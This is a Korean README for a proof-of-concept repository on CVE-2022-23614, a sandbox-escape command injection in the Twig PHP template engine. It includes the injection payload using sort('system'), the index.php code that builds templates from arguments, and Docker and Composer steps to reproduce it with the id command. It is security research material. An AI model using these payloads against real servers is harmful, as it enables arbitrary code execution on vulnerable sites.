
CVE-2022-23614 (Twig의 명령어 주입)에 대한 개념 증명
CVE-2022-23614에 대한 개념 증명(PoC)이며, DSA-5107-1에서 참조되었습니다.
Twig는 PHP를 위한 유연하고 빠르며 안전한 템플릿 엔진입니다. 특히, 템플릿을 렌더링하기 전에 템플릿에서 필터를 사용할 수 있습니다. sort 필터는 다음과 같은 구조로 배열의 요소를 정렬하는 데 사용할 수 있습니다.
{{ [5,8,2,3]|sort('desc') }}
Twig는 신뢰할 수 없는 템플릿 코드를 평가하기 위한 샌드박스 모드를 제공합니다. 이 샌드박스 모드에서는 sort 필터의 arrow 매개변수가 클로저여야 공격자가 임의의 PHP 함수를 실행하는 것을 방지할 수 있습니다. 영향을 받는 버전에서는 이 제약이 제대로 적용되지 않아 임의의 PHP 코드 주입으로 이어질 수 있습니다.
{{ ["id",""]|sort('system') }}
이 PoC는 두 가지 다른 사용 사례에서 취약점을 보여줍니다: Debian php-twig (v2.14.1) 패키지를 사용하거나 Composer twig/twig (v2.14) 모듈을 사용하는 경우입니다.
index.php 파일은 첫 번째 인수를 기반으로 Twig 템플릿을 생성합니다. 다음 코드에서 argv[1]은 Twig가 렌더링할 때 사용할 정렬 함수의 이름입니다.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
그런 다음 index.php는 Twig의 두 가지 더 이상 사용되지 않는 함수를 사용하여 생성된 템플릿을 로드합니다. 최종적으로 두 번째 인수(argv[2])를 사용하여 템플릿이 렌더링되는 동안 데이터를 전달하며, 특히 정렬하려는 args 배열을 전달합니다.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
렌더링된 템플릿은 표준 출력에 출력됩니다.
이 저장소는 데모 목적으로만 만들어졌음을 유의하세요. 명령줄 인터페이스만으로 CVE를 실험할 수 있도록 이해하기 쉽고 사용하기 쉬운 것을 목적으로 합니다. 실제 취약한 서버에서 볼 수 있는 것과는 상당히 다릅니다.
Docker를 사용하여 원래의 Debian Security Advisory (DSA)의 컨텍스트를 재현할 수 있습니다. 제공된 build-docker.sh 스크립트를 사용하여 취약한 컨테이너를 제대로 빌드하고 실행할 수 있습니다.
chmod a+x build-docker.sh
./build-docker.sh
컨테이너는 페이로드(id 명령)가 실행되면 종료됩니다. 자신만의 명령을 시도하려면 대화형 모드로 컨테이너를 실행할 수 있습니다:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
컨테이너 내에서 다음 모델을 사용하여 자신만의 페이로드를 만들 수 있습니다:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
이 Dockerfile은 부분적으로 DECRET을 사용하여 만들어졌습니다.
컴퓨터에 php와 Composer가 이미 설치되어 있다면, 취약한 Composer 모듈을 사용하여 익스플로잇을 재현할 수 있습니다.
cd exploit
composer install
그런 다음 페이로드를 가지고 놀기만 하면 됩니다.
php index.php system '{"args":["id",""]}'
CVE 세부 정보: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
패치 커밋: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
davwwwx의 PoC (GUI 사용): https://github.com/davwwwx/CVE-2022-23614